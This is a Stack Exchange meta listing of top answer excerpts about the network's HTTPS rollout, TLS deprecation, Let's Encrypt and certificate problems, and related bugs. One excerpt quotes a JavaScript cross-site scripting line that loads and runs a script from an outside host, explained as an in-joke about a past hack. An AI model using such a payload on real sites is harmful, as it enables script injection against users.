Hot answers tagged

134 votes

TLS 1.0 and TLS 1.1 removal for Stack Exchange services

Removing support for outdated security technologies is surely a good move. But I see your statistics includes only TLS 1.2, so do you have any plan for TLS 1.3? It's the new standard in 2018 and is ...
65 votes

TLS 1.0 and TLS 1.1 removal for Stack Exchange services

EDIT: now fixed When you write "we will be deprecating TLS 1.0 and 1.1", do you mean that they will no longer work after next week? It seems so from your next sentence, but this is confusing ...
59 votes
Accepted

Let's Encrypt certificate issue requiring urgent renewal

Thanks again for bringing to our attention about our certificates being affected by the Let's Encrypt CAA Rechecking Bug. Unfortunately, we didn't get any notifications from LE to act sooner, which ...
  • 536
40 votes

Network-wide HTTPS: It's time

status-completed Every time I visit https://meta.stackoverflow.com, it shows me that "This page is trying to load script from unauthenticated pages". Is there something wrong here? When I ...
34 votes

Roadmap to HTTPS: serving and uploading HTTPS-images only

Nice work on finally bringing HTTPS support in! I want to note something on point 4 (emphasis mine): Rebake remaining posts with HTTP images, so that images linking to HTTP addresses will become ...
28 votes
Accepted

Invalid certificate on all SE sites

As you noticed, the DST Root CA X3 certificate expired today. In theory, if you're running a current browser (which you are) on a current OS, you should be fine and switch over to the new root ...
  • 155k
25 votes

Accessing per-site metas gives 403 forbidden from cloudflare-nginx

This is a result/side-effect of some changes Cloudflare made recently, but the fact of the matter is that we'd run into problems with HTTPS support on child meta sites eventually anyway: you can't ...
  • 155k
25 votes
Accepted

Is Stack Exchange affected by the upcoming mass revocation of Let's Encrypt SSL certificates?

Stack Exchange sites should not be impacted by the Let's Encrypt cert revocations. Only certs using the TLS-ALPN-01 challenge are at issue, and we don't use that challenge type. In addition, Let's ...
  • 356
23 votes

Network-wide HTTPS: It's time

The HTTPS Everywhere extension may cause trouble …when HTTPS gets forced everywhere (step #10). The reason is that the HTTPS Everywhere ruleset for Stack Exchange currently contains a forced ...
22 votes
Accepted

Announcer badge spike

This is caused by the switch to HTTPS. Stack Overflow changed to HTTPS on May 22, and guess what happened. Here are the awarded Announcer badges on Stack Overflow: This has a technical reason. ...
  • 1,929
21 votes

Network-wide HTTPS: It's time

status-completed bug Area 51 thingies are breaking if you don't add the 's': Stack Exchange Q&A site proposal: Constructed languages http://area51.stackexchange.com/ads/proposal/101265.png ^...
  • 55.9k
19 votes

Network-wide HTTPS: It's time

status-completed bug Title for question is not parsed from URL in posts body (at least in preview) if you use https on link or on site where you trying to post. E.g. open SO via http:// open SO via ...
18 votes

TLS 1.0 and TLS 1.1 removal for Stack Exchange services

Running the Immuniweb.com Security Test it complains (abbreviated version): The problem is TLSv1.1 and TLSv1.0 configured with TLS_RSA_WITH_3DES_EDE_CBC_SHA enabled, that is non-compliant with ...
  • 15.4k
15 votes
Accepted

Why doesn't SE default to https for the change password page?

Oh hey, thanks for catching that. The fix is rolling out right now, and we'll be forcing https when someone clicks "change password" from the "my logins" pop-up.
  • 155k
15 votes
Accepted

TLS for meta.*.stackexchange.com, again

I know you quoted my answer here, but Oded provided additional reasoning for why this is just not necessary: We never linked to the old Meta schemas in any way using HTTPS protocols, so there shouldn'...
  • 184k
14 votes

Is anybody else having PKI problems connecting using Firefox 67.0?

We have worked with our CDN provider to roll back a change that was made enforcing OCSP Must-Staple. Firefox should be back in business, sorry for the interruption. To keep up to date follow our ...
  • 48.5k
13 votes
Accepted

SSL Insecure Connection error on www.blender.stackexchange.com

We simply do not support this, and never have. Though it is reasonable to redirect the www. domains on http://, it's not reasonable to do so on https:// (we'd need a truckload of certs). We never ...
12 votes

Network-wide HTTPS: It's time

Won't this breaks thousands of old JavaScript snippets that are referencing external scripts by http? Example: (note: I suspect no one is linking to jquery using http but it's at least shows the issue)...
  • 4,240
12 votes

Network-wide HTTPS: It's time

bug In the Android app, I have Mi Yodeya Meta pinned in my list of sites, and since the switch from meta.judaism.stackexchange.com to judaism.meta.stackexchange.com it has changed to saying Unknown ...
  • 2,998
11 votes

Accessing per-site metas gives 403 forbidden from cloudflare-nginx

CloudFlare seems to have repaired its nginx. Closing as "probably fixed". Will reopen if the bug recurs. Repro'ed by Gilles: Still failing for me with all meta.*.stackexchange.com over HTTPS. I ...
11 votes

Network-wide HTTPS: It's time

status-completed bug Receiving the https:// error in the Help center - Privileges pages, those contains the images in it. Still the images are as http:// only. The error is: In plain text: ...
  • 34.9k
11 votes

Network-wide HTTPS: It's time

bug status-completed The edits by Community to change from meta.*.stackexchange.com to *.meta.stackexchange.com are sending all the closed posts that have meta links to the reopen queue because they'...
  • 2,998
11 votes

Why can votes be retracted for posts edited only by the Community user to change to https?

is this the intended design of this special http-to-https edit, or is it rather something that still needs to be addressed somehow? There is nothing special about the Community edits for the HTTPS ...
11 votes
Accepted

stackpromos.com HTTPS cert is invalid

My bad. Word on the street is stackpromos.com probably isn't supposed to have a valid cert, but I linked it in the blog post as https out of habit. Will fix as soon as I can get the blog post edited! ...
  • 15.3k
11 votes

Links in Stack Exchange security website

The javascript:$.getScript("http://danlec.com/xss.js") is on purpose. That's how he "hacked" the site, so it's kind of pun/internal joke. Notice the link itself is fine; that's ...
10 votes
Accepted

Questions don't link if the URL uses HTTPS

Https links will be picked up as linked posts after build rev 2015.2.10.3062 on meta and 2015.2.10.2282 on sites roll out. They will be rendered as relative in the linked sidebar. In the actual post/...
  • 22.1k
10 votes
Accepted

Images from imgur fail over ssl

This was a certificate fail on the CloudFlare side on the Imgur account hosted on our behalf. We're still awaiting info on what exactly happened, but since it's not directly our account we may not get ...
10 votes

Network-wide HTTPS: It's time

bug status-completed Once a number of comments are posted under a question or answer, the option will be offered to convert the comment thread into a chatroom: Please avoid extended discussions in ...
  • 225k
10 votes
Accepted

Why hadn't SE had HTTPS for a long time?

having an SSL certificate is not expensive anymore, so I can't imagine why we hadn't had it for a long time Certificates are cheap, but implementing HTTPS on a site that always has run under HTTP is ...
10 votes

foo.com is sketchy; “How to Format” and help should use HTTPS links in examples

Yes, we need to set a better example (I'm here all week). This includes stuff found in: Individual per-site settings Transifex for the international sites The help center (I believe a few have ...
  • 178k

Only top scored, non community-wiki answers of a minimum length are eligible